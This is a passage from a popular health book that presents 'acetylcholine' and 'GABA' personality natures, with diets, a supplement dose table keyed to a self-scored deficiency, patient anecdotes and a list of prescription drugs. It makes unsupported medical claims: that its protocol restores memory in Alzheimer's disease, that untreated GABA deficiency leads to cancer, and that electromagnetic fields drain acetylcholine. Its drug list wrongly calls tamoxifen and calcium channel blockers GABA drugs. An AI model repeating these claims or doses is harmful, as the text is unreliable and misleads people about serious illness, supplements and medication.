HIGH-FAT CHOLINE FOODS | LOW-FAT CHOLINE FOODS
---|---
Avocado | Cucumber, zucchini, lettuce
Bacon | Canadian bacon
Bologna, frankfurters | Lean chicken or turkey sausages
HIGH-FAT CHOLINE FOODS | LOW-FAT CHOLINE FOODS (cont'd) |
---|---|---
Cream | Skim milk |
Egg fried in fat | Poached, boiled, or baked eggs |
Fatty pork (spareribs) | Well-trimmed lean pork (ham) |
High-fat cheeses | Low-fat cheeses |
Ice cream | Ice milk, low-fat frozen yogurt |
Liver | Fish |
Nuts | Fruits and vegetables |
Regular ground beef | Lean beef with all fat trimmed |
Regular salad dressing | Reduced-calorie salad dressing |
Sour cream | Low-fat yogurt, low-fat sour cream |
Whole or condensed milk | Skim milk, buttermilk, nonfat powdered milk |
**ACETYLCHOLINE-BOOSTING DIET**
If your acetylcholine nature has been diminishing, or if you are trying to enhance this biochemical as complementary to another nature, try this choline-rich diet. These menus span three days and can give you an idea of the foods you can eat that will increase your acetylcholine. How often you repeat this diet depends on your deficiency level. If you have a minor deficiency, follow the three-day course once a month; if you have a moderate deficiency, once a week. An extreme deficiency requires at least six days a week of this specific diet.
**DAY 1**|
---|---
BREAKFAST | 2 poached eggs with 2 teaspoons of caviar. 2 oz. celery salad with seasoned olive oil. 1 slice whole-wheat toast. Finish with a glass of grape juice.
LUNCH | 6 oz. grilled chicken over cabbage salad with sage and raisins. Finish with an orange and a cup of green tea.
DINNER | 8 oz. Caesar salad with 2 oz. cheese (skip croutons). 6 oz. horseradish-grilled salmon with 4 oz. couscous and 6 oz. broccoli. Finish with herbal tea.
**DAY 2**|
---|---
BREAKFAST | 8 oz. wheat germ cereal mixed with 3/4 cup fresh, mixed berries, 1/3 cup mixed walnuts and almonds, with 1 cup skim or soy milk. Finish with 1/2 cup orange juice, freshly squeezed if possible, so as not to introduce preservatives or extra sugar.
LUNCH | 8 oz. chicken soup with 1 slice whole-wheat toast. 8 oz. multicolored vegetable and tofu salad with olive oil and low-sodium soy sauce. Finish with water with lemon.
DINNER | Grilled vegetable mix with fava beans sprinkled with turmeric. 8 oz. beef or 8 oz. veal. Finish with low-calorie hot chocolate.
**DAY 3**|
---|---
BREAKFAST | 1 whole-wheat or wheat-free waffle with 1/2 tablespoon peanut butter and 2 oz. fresh berries. 1 soft-boiled egg dressed with 1 teaspoon olive oil and balsamic vinegar seasoned with cumin, garlic, pepper, and basil. Finish with a cup of coffee flavored with cinnamon.
LUNCH | 4 oz. smoked salmon with 1 tablespoon low-fat cream cheese and lettuce, tomatoes, and onions on 1 slice whole-wheat bread. Finish with 1/2 cup grape juice.
DINNER | 8 oz. lamb with 2 oz. mixed cranberries and almonds in 1 tablespoon olive oil and seasoned with rosemary. 4 oz. brown rice and 6 oz. steamed cauliflower and carrots. Finish with hazelnut herbal tea.
HEALTHY
SNACKS | 4 oz. steamed green soybeans (edamame); 1 slice tofu cheese; a boiled egg with 2 oz. carrots; 4 stalks celery with 2 tablespoons peanut butter; 2 oz. caviar on 1 slice whole-wheat or rye toast.
Our patient Nancy's thirty-five pounds of excess weight were the result of her low mood—she would eat to comfort herself—and her fat cravings. Substituting low-fat choline-rich foods at every meal eliminated her cravings and improved her mood.
**VITAMINS AND SUPPLEMENTS**
When we are healthy, we can get enough choline from the foods we eat.
However, when the first symptoms of illness occur, this nutrient can be supplemented to avoid more serious symptoms, conditions, and medical treatments. Further, if you are sensitive to the loss of your edge or are looking to gain the Edge Effect, an easy fix is to keep up these nutrients through supplementation.
Readily available vitamins and supplements are an excellent way to ensure a steady supply of nutrients essential to the production of acetylcholine. Because they are brain-speed-oriented, they are best taken in the early morning through the afternoon to keep you sharp during the day: you don't want your brain racing at night, when it's time to slow down for proper rest. Absorption is best achieved when these supplements are taken half an hour before eating.
**PHOSPHATIDYLSERINE**
An impressive volume of research shows that phosphatidylserine, another modified amino acid, benefits acetylcholine deficiencies. We often recommend phosphatidylserine in our clinic when a patient is diagnosed with a memory disorder, early dementia, or depression. Multiple sclerosis patients may respond to phosphatidylserine as well.
**ANTIOXIDANTS**
Antioxidants are the ultimate brain food because they protect the membranes of brain cells by providing building blocks for those membranes.
Antioxidants are common in many vegetables such as tomatoes, and many fruits, including blueberries, and can also be found in supplemental antioxidant formulas. Antioxidants are also thought to preserve membranes of brain cells by preventing oxidation of those membranes that would otherwise occur as we get older. (Free radicals are also associated with oxidation that damages cell membranes.)
I have developed a unique supplement formula, called Brain Speed, which you can readily reproduce. This formula contains GPC choline and phosphatidylcholine, two nutrients that imitate natural acetylcholine. It also includes huperzine-A (which preserves acetylcholine), N-acetyl-cysteine, and L-carnitine. L-carnitine is an amino acid thought to be helpful in lowering triglycerides, promoting weight loss, and building acetylcholine. N-acetyl-cysteine is an amino acid that helps detoxify many chemicals and is a strong antioxidant. This combination creates an acetylcholine precursor for myelin, which helps neurons process memory without losing speed. This formula will help to keep your edge fast and help decrease the symptoms of memory lapses, difficulty concentrating, confused thinking, and dry mouth.
Specific acetylcholine-related conditions are more responsive to certain supplements. The recommended daily allowance (RDA) is in parentheses.
_Antioxidant that preserves acetylcholine:_ lipoic acid (100–400 mg.)
_Attention deficit:_ deanol (100–200 mg.)
_Memory problems:_ choline (men 550 mg., women 425 mg.), phosphatidylserine, glycerol phosphocholine (typically 1,000 mg.)
_Metabolic disorders:_ conjugated linoleic acid (1,000 mg.)
_Mineral that preserves acetylcholine:_ manganese (1–5 mg.)
_Thinking problems:_ acetyl-carnitine, fish oils (up to 5 g.)
See the table for suggested daily supplements and their recommended dosages.
**LIFESTYLE**
The acetylcholine nature is all about interactions with people, and a constant turnover of new ideas and activities. But your brain can't handle this constant barrage of new ideas forever without some preventive maintenance and biochemical replenishment.
Being alone once in a while is not punishment—it's a way to give your brain some time off to recharge itself. Try not to define everything you do in terms of whom you're with and what you're doing with them. This doesn't mean living as a hermit. It simply means making some time to be by yourself—reading a book, meditating, taking an extended walk, or praying—to provide resting time for your brain while it's awake. Try to allow for at least half an hour of solitary time every day.
ACETYLCHOLINE BOOSTERS (SUGGESTED DAILY SUPPLEMENTAL DOSES)
| Minor | Moderate | Severe
---|---|---|---
| Deficit (0–5) | Deficit (6–15) | Deficit (15+)
Choline (GPC choline) | 100 mg. | 200 mg. | 500 mg.
Phosphatidylcholine | 500 mg. | 1,000 mg. | 2,000 mg.
Phosphatidylserine | 50 mg. | 100 mg. | 200 mg.
Acetyl-L-carnitine | 250 mg. | 500 mg. | 1,000 mg.
DHA (docosa-hexaenoic acid) | 200 mg. | 500 mg. | 1,000 mg.
Thiamine | 25 mg. | 50 mg. | 100 mg.
Pantothenic acid | 25 mg. | 50 mg. | 100 mg.
Vitamin B12 | 100 mcg. | 200 mcg. | 500 mcg.
Taurine | 250 mg. | 500 mg. | 1,000 mg.
Huperzine-A | 50 mcg. | 100 mcg. | 200 mcg.
_Ginkgo biloba_| 50 mg. | 75 mg. | 100 mg.
Korean ginseng | 100 mg. | 200 mg. | 500 mg.
If you don't enjoy reading, acetylcholine natures might find meditation quite remarkable. Meditation gives the mind a chance to relax and rejuvenate. Because you view the world through all of your senses, try the following visual meditation.
**EXERCISE: VISUAL MEDITATION**
Gaze at a photograph, drawing, inspirational image, or nature scene. Color, depth of field, and meaning are all important aspects in choosing an image. You can choose a photograph of loved ones, a postcard landscape or still life, or a personally signficant work of fine art. If you are looking at a picture of a religious object, you may find that it will help you create a spiritual connection. Whatever you choose, gaze at the image for a few moments, and then close your eyes and calmly try to recreate this image in your mind. Take your time. What makes this image important to you and why do you have a unique relationship with it? When you feel that you fully understand the image, open your eyes and see if your mental re-creation matches the actual object.
**OTHER LIFESTYLE STRATEGIES**
Someone with an acetylcholine nature relies on feelings and the ability to empathize with others. However, some decisions—health-related ones, for example—are better made based upon facts and logic. Rational people are not your adversaries—they just think differently than you do. And they provide balance for you. If you're unable to incorporate a little more logic and rationality into your nature, let others who possess these abilities lead the way once in a while. Either way, your brain again gets some time off to rest while awake.
Regardless of your nature, regular exercise is beneficial for muscle tone, strong bones, and good circulation. Although you may have the best of intentions, you seem to spend more time thinking about exercise than getting around to it. Studies have shown that aerobic exercise can restore acetylcholine, so it should become a regular part of your life. You'll need at least half an hour of aerobic exercise every other day. These activities include running, jogging, brisk walking, an aerobics class, bicycling, or anything else that increases your heart rate.
**ENVIRONMENT**
Your acetylcholine balance is particularly sensitive to the adverse effects of aluminum. Avoid aluminum cookware or utensils, and avoid products that may contain aluminum: baking powder, antacids, and water softeners. Aluminum can replace zinc in the neuron, and neurons without their zinc ions get tangled in their connections. If you don't read product labels, start now—your nature depends on it.
Violent films and TV, aggressive and foul language, and pornography are more than an affront to your sense of social decorum—they're a drain on your supply of acetylcholine. Your eyes are literally the entryway to the brain. The information they take in, both good and bad, affects your brain chemistry. For example, cognitive functions are damaged by violent visual stimuli. Your physical health is also at risk: watching violence increases your blood pressure and pulse and makes you more anxious. If you're more selective about your entertainment, you'll be choosing to preserve your nature.
As was the case with other pollutants such as PCBs, fertilizers, and pesticides, early warnings about electromagnetic fields (EMFs) were initially discounted. But studies have confirmed the hazards of concentrated exposure to magnetic fields and microwave radiation. Their negative effect on acetylcholine has been documented as well. So choose to live as far away as possible from power lines, stand away from and to the side of microwave ovens, use incandescent or full-spectrum lightbulbs instead of fluorescent ones, and always use the hands-free attachment for your cell phone. Studies show mixed results of fluorescent lights on ADD and of electromagnetic fields on mood, health, and obesity, but based on what I've seen in my office, these mixed results will later prove to have a direct effect on your nature.
No matter what your nature, you can create a restful environment by filling your personal spaces with soft lighting, gentle music, and pleasing scents. If you surround yourself with calm for at least a portion of every day, you'll accelerate the restoration of your acetylcholine balance.
**GETTING INTO BALANCE**
When your acetylcholine nature is unbalanced, your thought processes are immediately affected. You can't remember what you want to do, and you don't know what to do about that. You can't rally those closest to you, colleagues at work, or people in your community. You can't project what tomorrow will be, let alone next week or next year. You can't create a picture, a paragraph, an idea, a vision.
By following the steps described above, you can create a better balance by using all of the tools at your disposal to restore your acetyl-choline. For Nancy, the path to better health didn't begin by dealing with her weight, her withdrawal from work and family, or her elevated cholesterol. The real solution to restoring Nancy's edge was a simple one: balancing her acetylcholine.
All of Nancy's conditions could be traced to diminished brain speed. When your brain speed begins to slow down, cognitive functions— memory, thinking, intuition, visual perception—are affected. Nancy's positive mood returned after a few nights of restful sleep and was reinforced by subsequent signs of progress. Her low levels of acetylcholine and associated hormones were the primary contributor to her complaints, and their replacement with natural alternatives was responsible for reversing her health decline. After two weeks her vigor returned, and she found herself diving into her caseload with renewed interest. Two weeks after that, her muscle and bone aches were gone, as were her memory lapses. She no longer had to work hard to remember details about her patients. With a lot less to worry about, and with her hormones properly balanced, Nancy had no trouble when it came to relations with her husband. Her trademark smile, absent for quite some time, returned.
After three months, once she had substituted low-fat versions of important choline-rich foods for the high-fat ones she was craving, Nancy had only ten more pounds to lose. She was back in the thick of things at work. Her thinking was clear, her intuition was intact, and her creativity was inspired. By reaching her Edge Effect, she was able to achieve her physical and mental peak. Her brain speed was optimized, and her Alzheimer's risk dropped significantly. Most exciting, she was able to regain her youthful brain energy and recover her old self—a size nine with balanced hormones, balanced acetylcholine, and a balanced life.
By following these suggestions, you too can balance your acetylcholine nature and restore yourself to full and abundant health.
**ALZHEIMER'S DISEASE
AND ACETYLCHOLINE**
Alzheimer's disease is directly related to slowing down the activity of the brain, which is regulated by acetylcholine. The good news is that I've seen many cases of significant progress achieved, simply by following an acetylcholine protocol as outlined in this chapter. For example, I've treated a seventy-seven-year-old woman who could not tell me the date or the current president's name. After taking the entire program, including acetylcholine-friendly hormones and nutrients, she regained her entire memory and was able to address my staff by name. Another remarkable story involves a fifty-five-year-old salesman who came to me with the memory loss issues of a seventy-year-old man. Three years later his memory has been restored to that of a thirty-five-year-old. With Alzheimer's disease, as with any other condition affecting your mind and body, your health is in your hands. If you have any concern that you might be a candidate for this devastating disease, seek treatment as early as possible, using this book as your guide.
THE STABLE GABA NATURE
IF YOU SCORED high on the Braverman Nature Assessment for GABA, then you are dominated by this neurotransmitter. The biochemical GABA (gamma-aminobutyric acid) has a calming, stabilizing effect on the brain. GABA prevents us from being too "juiced," too quick, and therefore ineffective.
In this chapter you will learn how to recognize your GABA nature and see how it affects all areas of your physical and mental health. More important, you will be able to identify as GABA-deficiency-related some of the specific ailments you might be experiencing, and learn how to correct a GABA deficiency. By addressing this deficiency, you will be taking both a step toward better health and a leap toward attaining the Edge Effect.
**THE GABA NATURE
PERSONALITY PROFILE**
The GABA nature is characterized by stability. Almost 50 percent of the world's population shares this nature, whose hallmarks are consistency, sociability, and concern for others. Luckily for the rest of us, GABA natures are the most dependable. If you have a GABA nature, you can be counted on to show up every day to do your job and to be there when others need you. When your GABA is in balance, your feathers remain unruffled when chaos swirls around you.
The ability to set goals, organize a project or activity, schedule, and administer, as well as such characteristics as punctuality, practicality, objectivity, levelheadedness, and confidence, all come naturally with a balanced GABA nature. Organization is paramount to you—at work, at home, in relating to others. Rigid schedules are your idea of heaven— they eliminate worry about uncertainty and ensure smooth sailing. Given these characteristics, GABA-dominant people naturally gravitate toward careers such as administrators, accountants, security officers, nurses, technicians, air-traffic controllers, news reporters, emergency medical technicians, meeting planners, bus drivers, and homemakers— the ultimate caretakers. No matter what the profession, the GABA-natured person is the one who tethers the group, who stays focused on the matter at hand, yet usually defers to the majority.
If you're GABA dominant, you're the consummate team player, on and off the field, and derive pleasure from fulfillment of every obligation and taking care of those you love. You're sensible, settled, not given to broad swings of emotions or outbursts of anger. Though you relish group activities, you cherish your one-to-one connections. Making others comfortable—both physically and emotionally—is the source of your own happiness. Marriage for you is a long-term haven. Keeping up with old friends is routine, as is the protection and nurturing of others, never more evident than within your own family. You're always available to advise, console, encourage, or just listen.
You probably believe in traditions and institutions, and relish your part in making them work, especially at a place of worship. You preserve conventions because they provide security for all. You look forward to group activities, especially holiday gatherings. Whether you are planning celebrations or networking events, these activities are more play than work. History books and biographies are on your reading list. Collecting memorabilia and creating scrapbooks for others to appreciate provides hours of entertainment. Tidying up is not a chore but a relaxing pleasure.
The Edge Effect for GABA occurs when you've maximized your GABA nature. These are the times when you feel you've had a strong nurturing effect on those around you. This might occur after you have hosted a holiday dinner for which you prepared everything from the turkey to homemade breads and desserts. You are satisfied that you have done a wonderful job, and your efforts are appreciated.
**TOO MUCH GABA**
It is possible to have too much of a good thing, as we've seen with the previous primary neurotransmitters. Producing too much GABA ratchets up your nurturing tendencies. At their worst, people with this personality expend their energy looking for love and opportunities to give care at the cost of being hurt when their own needs are not sufficiently met. Those with GABA natures rely heavily on their mates and authority figures for advice and can fall into the trap of continuously craving and following the judgments of their peers.
**OUT OF BALANCE:
GABA DEFICIENCY**
But what happens—and how can you know—when your GABA starts running low? GABA is produced in the temporal lobes and is associated throughout the brain with calming, rhythmic theta brain waves. GABA is the major inhibitory neurotransmitter of the nervous system, which keeps all of the other biochemicals in check. GABA controls the brain's rhythm so that you function, both physically and mentally, at a steady pace. By regulating your internal rhythm, GABA directly affects your personality and determines how you handle life's stresses. When your rhythm is thrown off by a GABA deficiency, you may begin to feel anxious, nervous, or irritable.
A balanced brain creates and receives electricity in a smooth, even flow. When your brain is not producing enough GABA, your brain's electricity is generated in bursts. This is called a brain arrhythmia, or dysrhythmia, and it can upset your system in a variety of ways, none more pronounced than your emotional well-being.
The chart on the following page demonstrates a scale of conditions that can occur when your GABA is out of balance. The numbers on the left of the table correlate to the approximate number of brain arrhythmic events that occur during a half second of auditory and visual brain stress testing.
NUMBER OF GABA IMBALANCES ARRHYTHMIAS
Mildly GABA deficient | 1 | Allergies, light-headedness, restlessness, transient muscle tension or aches
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| 2 | Feelings of dread, blurred vision, protein cravings, impulsive attention errors, cold or clammy hands, butterflies in the stomach, feeling of a lump in the throat
| 3 | Dizziness, coughing or choking, temporomandibular joint syndrome, paresthesia (prickling or tingling sensation), phobias
| 4 | PMS, irritable bowel syndrome, night sweats, protein cravings
| 5 | Tachycardia (rapid heartbeat), mood swings, various mild pain syndromes, various anxiety disorders, hypertension
| 6 | Delusions, unexplained chronic pains, trigeminal neuralgia and other facial pains
| 7 | Short or violent temper, chronic insomnia, neuropathy (nerve pain), fibromyalgia (chronic muscle pain)
| 8 | Severe heart arrhythmias, carbohydrate cravings, severe migraines, rage
| 9 | Severe tinnitus, severe pain, manic depression, seizures
Severely GABA deficient | 10 | Marijuana abuse, alcoholism
**GABA-RELATED ILLNESSES**
For a GABA nature, or those with a GABA deficiency, the early warning signs of deteriorating health relate to loss of stability. Physically, you're pestered by annoyances from one part of your body after another. Mentally, you start worrying about forgetting things that you never had to even think about before. This can show up in your body in a variety of ways and can affect any of the four major domains of brain function:
PHYSICAL ISSUES
Abnormal sense of smell— sensing abnormal odors
Action tremors
Allergies
Appetite or weight: significant change
Backache
Blurred vision
Butterflies in the stomach
Carbohydrate cravings
Cardiac arrhythmias
Chest pain or discomfort
Chronic pain
Cold or clammy hands
Constipation
Coughing or choking
Decreased libido
Diarrhea
Difficulty swallowing
Dizziness
Dribbling
Dry mouth
Excessive sleeping
Flushing
Headache
Hypertension
Hyperventilation
Hypotension
Insomnia
Instability
Irritable bowel syndrome
Lump in throat
Muscle loss
Muscle tension
Nausea
Night sweats
Paresthesia
Premenstrual syndrome or excessive menstrual bleeding
Protein cravings
Seizures
Shortness of breath
Slowness of physical movements
Stroke
Sweating
Tachycardia or palpitations
Tinnitus
Trembling, twitching, feeling shaky
Urinary frequency
Vomiting
PERSONALITY ISSUES
Adjustment disorders
Anxiety
Depression
Feeling of dread
Guilt or feelings of worthlessness/hopelessness
Lack of emotional maturity
Manic depression
PERSONALITY ISSUES
Mood disorders
Obsessive-compulsive disorder
Phobias or fears
Poor emotional stability
Psychosis
Rage
Restlessness
Short temper
Thoughts of death or suicide
MEMORY ISSUES
Global memory problems
Poor verbal memory
ATTENTION ISSUES
Difficulty concentrating
Disorganized attention pattern associated with anxiety
High anxiety
Impulsive attention errors (jumping the gun, erratic driving)
Inability to think clearly
With half of the population GABA-dominant, millions of people experience these symptoms every day. Tens of millions of symptom-specific prescriptions are written, but only a few address the GABA deficiency causing them. The value of _The Edge Effect_ is in associating the earliest symptoms with a GABA deficiency and showing you what the easiest, least damaging, and most effective interventions are.
If you compare the above lists with those for the other natures, once again you will find symptoms and conditions that appear in more than one chapter. This repetition is caused by the fact that while there are four primary neurotransmitters, pairs often work in similar ways.
For example, both dopamine and acetylcholine act as the electrical on switch for the brain: they create energy the body uses for power and speed. On the other hand, GABA and serotonin are the electrical off switches: they create electricity necessary for calming the body and promoting sleep. Because their functions are similar, similar symptoms may occur when either is deficient.
Also, the brain-mind-body connection has only a limited number of possible malfunctions. These malfunctions affect the rest of our system in similar ways. However, how a deficiency affects specific organs or systems varies by nature. For example, both GABA and acetylcholine deficiencies can cause frequent bowel movements, but for different reasons. Acetylcholine deficiencies affect metabolism, while GABA affects the rhythm of your intestinal tract.
**GABA DOMINOES**
Compared to some of the other nature deficiencies, GABA symptoms and illnesses are relatively minor. However, left unchecked, an unbalanced GABA nature, or a GABA deficiency in combination with a different nature, can be the first sign of health problems to come. The first metaphorical tile that falls during GABA dominoes is so subtle, you might not even think it is a problem. At the earliest point in low GABA production, you can't seem to shake a nagging headache. You're annoyed by constant burping every time you eat. Your sleep has been disturbed by night sweats once or twice. Soon you're experiencing occasional dizzy spells and clammy hands, and you can't remember what your best friend asked you to do for her today. And why are daily, routine tasks such a chore all of a sudden?
All of this would go away, you think, if you could just get a few nights of restful sleep. But that has become even more difficult now that you are experiencing muscle aches in your back and legs. Maybe a visit to a day spa, including a full-body massage, is the answer. It would at least give you a break from all those people who are starting to really annoy you with their neediness. Often you're jotting down reminders to yourself to do the things you always did without thinking about them. You find that much too frequently your day ends with much left undone, which makes the next day problematic. Those close to you may remark how you haven't been your usual self.
You decide to schedule a doctor's visit, especially since you've been experiencing shortness of breath and heart palpitations. At the doctor's office, you're relieved to hear that other than hypertension, which is causing the palpitations, you're not seriously ill. Your other symptoms can be attributed to stress, overwork, lack of sleep, and getting older. Your doctor recommends antacids and aspirin and tells you to spoil yourself for a change, instead of always taking care of others. She writes a prescription for beta-blockers for the elevated blood pressure, and one for a sleeping pill. You're not thrilled about having to take drugs, but you're confident that there's now something you can do to restore your usual orderly life.
And for a few months, things are normal. Then new problems crop up: cold hands and feet, persistent viral infections, weight gain, and depression that causes you to withdraw completely—from your work, from your community, from your family. Your conditions, albeit minor, are still real, as is their cause: GABA deficiency. The ultimate result of an untreated GABA imbalance is far worse. Without the proper medical attention, you could develop an immune system disorder and become susceptible to serious infections and diseases, ranging from Epstein-Barr syndrome to cancer. Your anxiety accelerates your pain, which leads to inflammation and eventually to premature aging. With all this worrying, you will grow old right before your eyes.
Although you might think this scenario is far-fetched, it is exactly what happens when a GABA deficiency is left unchecked. Consider Mary. When I first met her, I was perplexed as to why she was seeking treatment. Physically, she looked fine. However, she began telling me that although she looked neat and trim, the past five years had been rough. I felt for her as I looked at her strained face. A fifty-year-old school administrator who had spent her whole life helping others, she desperately needed help herself now. She was on the verge of tears as she described a litany of travails.
"I've been dealing with one condition after another. As soon as one complaint goes away, a new illness takes its place. My problems began a few months ago with a headache that was always with me. When over-the-counter remedies did nothing, I had my eyes checked and had a CAT scan of my head. Both were normal, but I still have a headache, which I'm learning to live with. I'm also living with burping, insomnia, tingling in my fingertips, asthma, chronic diarrhea, and palpitations. I've been married for twenty-five years, and for the first time my husband tells me that I'm snoring, and I'm not enjoying sexual relations as much as I used to. All these problems don't seem like much, but they're taking my mind off my job, my family, my friends. Everything is out of control. Now I am experiencing constant back and neck pain, but I'm afraid to have the surgeries the orthopedist is recommending. I feel like I'm falling apart, and I don't know where else to turn."
She went on to tell me that besides her physical complaints, she was totally befuddled about how to get anything done. Writing a grocery list was more than she could attempt. Where holidays once had been a time of excitement and joy, Mary now thought they came too frequently—and she dreaded them. She couldn't even attend parties or family gatherings others arranged, because she didn't want anyone to see her like this.
Mary's life, which had revolved around others, was becoming centered on the progression of her symptoms and her attempts to find cures. She was starting to feel guilty about concentrating so much on herself. She fretted that her issues would become burdensome to those who had always depended upon her. Fortunately, her children, at nineteen and twenty-five, were out of her home and starting lives of their own. But at work there were always students and their needs, and Mary felt that she was failing them every day.
Before she came to see me, Mary had visited a variety of other medical specialists. She was given an array of medications for her various complaints: albuterol (Proventil) for her asthma, beta-blockers for her palpitations, a seizure medication for her tingling, diphenoxylate (Lomotil) for her diarrhea, zolpidem (Ambien) for sleep, and oxycodone (OxyContin) for her back and neck pain. As for sex, her doctor scolded her when she brought up the subject, and told her that her other conditions were far more important to address. Another doctor actually told her that she had to make concessions in life, and enjoying sexual relations was one of them!
I did a complete workup on Mary, including taking her family history. Her family had a history of alcohol abuse, but Mary had managed to stay clear of that trap. She didn't have any traumatic childhood experiences, and she had experienced normal pregnancies, no sexually transmitted diseases, and no serious accidents. At five feet four inches and 104 pounds, she certainly wasn't overweight. Her diet was healthy, her cholesterol was normal, and she didn't smoke. In fact, other than a little experimentation with marijuana in her twenties, there wasn't anything remarkable at all in Mary's medical history. People like Mary—structured, organized, stable, consistent, punctual—would not likely have drastic deviations from norms when it came to their health background. It would have been a surprise if there had been something remarkable in her past.
Physically, Mary was in pretty good shape. She had lower-than-normal levels of progesterone, a female hormone, but she was on the verge of menopause, so low progesterone was not unusual for a woman her age. Her pulmonary function test came out normal, despite her asthmatic difficulty breathing. Her reproductive system was fine, so the answer to her sexual dysfunction was directly connected to her anxiety. Her bone density came back normal.
However, Mary's brain was far from healthy. Her Braverman Nature Assessment revealed the underlying cause of her complaints: a GABA deficiency and the rhythm disturbances that accompany it. Her physical symptoms were the direct result of her brain chemical imbalance. They could be summed up with one term: generalized anxiety disorder. The cause of her anxiety was decreased GABA production, which lets the nervous system run wild. When the nervous system's signals get crossed, the body responds with its own anxiety: we urinate too often, we produce too much gas, our hands become clammy, and the heart palpitates, among others. You may have noticed these conditions when you are feeling anxious about something.
Mary's constant anxiety was causing the rest of her physical problems. Simply put, her brain was sending the wrong signals to her organs. This was also the reason why there was no stability in Mary's life: no order, no job satisfaction, no sense of accomplishment, no certainty.
If Mary followed a conventional course, her condition would certainly have deteriorated, because conventional medicine never would have uncovered her GABA problem. With all of the drugs she was taking, side effects would be unavoidable. Amnesia could result from sleeping pills, addiction could result from painkillers, depression and a further loss of sex drive are common after taking beta-blockers, and constipation could result from taking Lomotil.
Mary, who had the highest regard for tradition, organization, and convention, was able to go against the grain for the sake of her own health. When we first met, Mary was concerned that my practice was too "alternative" compared to the rest of the medical establishment. However, when she discovered her nature and learned to restore it, she was able to open her mind to a new medical approach and restore the balance in her life.
**BALANCING YOUR GABA NATURE**
Any GABA deficiency can be corrected by using some combination of the seven treatment modalities: medications, hormones, supplements, diet, lifestyle, environment, and electronic aids. The severity of your symptoms, however, will determine which type of treatment will work best for you. You can gauge the level of your deficiency, by consulting your deficiency test score. With a minor deficiency your score will range from 0 to 5; a moderate deficiency will score between 6 and 15; and a severe deficiency will go over 15.
**GABA-FRIENDLY MEDICATIONS**
Once you've balanced your GABA by following the suggestions in the rest of this chapter, you should not need serious medications. But until your GABA is balanced, you may require some combination of prescription drugs. The pharmaceuticals designed to reverse a temporal-lobe GABA deficiency work by affecting the systems that control the body's rhythm or stability. Each medication has specific properties that address a specific rhythm imbalance. Talk to your doctor regarding drug choices and specific doses that are right for you. Dosages will vary significantly based on your height, weight, and gender.
In the brain, there are about ten known GABA receptors. Because of this, there are a large number of GABA drugs available: each family targets a different type of receptor. Certain GABA drugs can treat a variety of illnesses. For example, Topamax, which was originally marketed as an antiseizure or manic depression medication, can be an effective medication for obesity, because GABA controls the anxiety related to overeating.
The following lists a range of conditions and the major GABA medications that treat them.
_Anxiety:_ lorazepam (Ativan), alprazolam (Xanax)
_Breast cancer and other forms of cancer:_ tamoxifen (Nolvadex)
_Headache:_ phenytoin (Dilantin), divalproex sodium (Depakote)
_Hypertension, mood disorders, and manic depression:_ calcium channel blockers such as verapamil (Calan) and nifedipine (Procardia)
_Insomnia:_ zolpidem (Zolpidem (amibien)), clonazepam (Klonopin), temazepam (Restoril)
_Manic depression:_ divalproex sodium (Depakote), carbamazepine (Tegretol)
_Muscle pain:_ oxycodone (OxyContin)
_Muscle spasm, nighttime twitches:_ clonazepam (Klonopin)
_Muscle tension:_ diazepam (Valium), alprazolam (Xanax)
_Neuropathic pain, diabetic pain, herpes pain, facial pain, leg pain:_ gabapentin (Neurontin), phenytoin (Dilantin), carbamazepine (Tegretol)
_Obesity:_ topiramate (Topamax)
_Panic attacks:_ alprazolam (Xanax)
_Seizures:_ tiagabine (Gabitril), lamotrigine (Lamictal), primidone (Mysoline)
_Sleep disorders:_ zolpidem (Zolpidem (amibien))
_Stomach cramps (children):_ Donnatal, atropine; hyoscyamine; phenobarbitol, scopolamine
Other than the Amibien she was taking to sleep, the majority of the pills that Mary had been prescribed were intended to ameliorate symptoms, not to treat her GABA imbalance. My goal with Mary—as it is with all of my patients—was to eliminate all drugs from her treatment program as soon as possible. Once her GABA imbalance was fixed, Mary would not need any of these medications.
**HORMONES**
Each of the four primary neurotransmitters has a characteristic hormone associated with it. When a particular biochemical becomes deficient, a hormone comes in to take its place. Unfortunately, this only works for so long; it can't be sustained over time. The backup for GABA is endorphin, your own endogenous morphine. But when you use it up, then you're in worse pain than you were before. At this point, many people who experience chronic pain might turn to a joint, a drink, or an addictive narcotic. Currently there are about four million opioid analgesic addicts in our society who use this drug to create a GABA fix. No small part of the OxyContin problem is people who crush the tablets, defeating the controlled-release mechanism. Others start taking it for pain but develop an addiction. Still others use it appropriately and wind up physically dependent but not addicted.
Each of us experiences a decline in different hormones at different rates and at different times in our lives, so we must monitor our hormone levels and supplement them—under a doctor's direction—as necessary. The GABA hormones are vital for everyone's health, whether you have a GABA deficiency or not. While the hormones listed below are necessary for all of us, a GABA nature will be more sensitive to their depletion and therefore require more supplementation. For example, progesterone deficiencies are linked to depression, diminished libido, weight gain, diabetes, osteoporosis, and immune system disorders. Cortisol deficiency has also been linked to immune disorders. Other natural hormonal supplements that might be useful for a GABA deficiency include pregnenolone, which is a calming precursor of DHEA, and growth-hormone-releasing hormone (GHRH), which may shrink tumors and may enhance fertility.
**DIET**
For many conditions—especially those present in the early stages of a deficiency—you don't need a doctor to restore and maintain your GABA balance. You can balance your nature with nature-specific diet, vitamin, and supplement choices.
The easiest and most natural way for you to keep your GABA nature balanced is with the foods you eat. The goal of a GABA diet is to ensure that the body has enough raw materials—in this case complex carbohydrates—for creating a steady supply of glutamine, the amino acid that is the precursor to GABA.
The more GABA-producing foods you eat, the more GABA you will be able to create. Following is a list of foods that are considered to encourage the production of GABA. If you can incorporate these into your diet, the occasional fast-food meal or sinful dessert will have no harmful effect at all. Add in as many different fruits and vegetables as you like to your GABA diet, even if they don't appear in the list below. You can also have any noncarbonated, nonalcoholic, sugar-free beverage you prefer.
GLUTAMIC ACID/GLUTAMATE (FORMS GLUTAMINE) MGS. PER 6–8 OZ. SERVING
Almonds, tree nuts (10.3 g.)
Banana (220 mg.)
Beef liver (6.5 g.)
Broccoli (740 mg.)
Brown rice (940 mg.)
Halibut (7.9 g.)
Lentils (2.8 g.)
Oats, whole grain (7.4 g.)
Oranges, citrus fruits (210 mg.)
Potato (830 mg.)
Rice bran (3.7 g.)
Spinach (680 mg.)
Walnuts, tree nuts (5.4 g.)
Whole wheat, whole grain (8.6 g.)
**DEFICIENCY CRAVINGS**
Too many simple carbohydrates are bad for GABA-nature people—they calm the brain temporarily, but within one to three hours a GABA imbalance will begin again. GABA natures need to stay away from simple sugars, white flours, and wheat products in general, with the exception of whole grains.
**GABA-BOOSTING DIET**
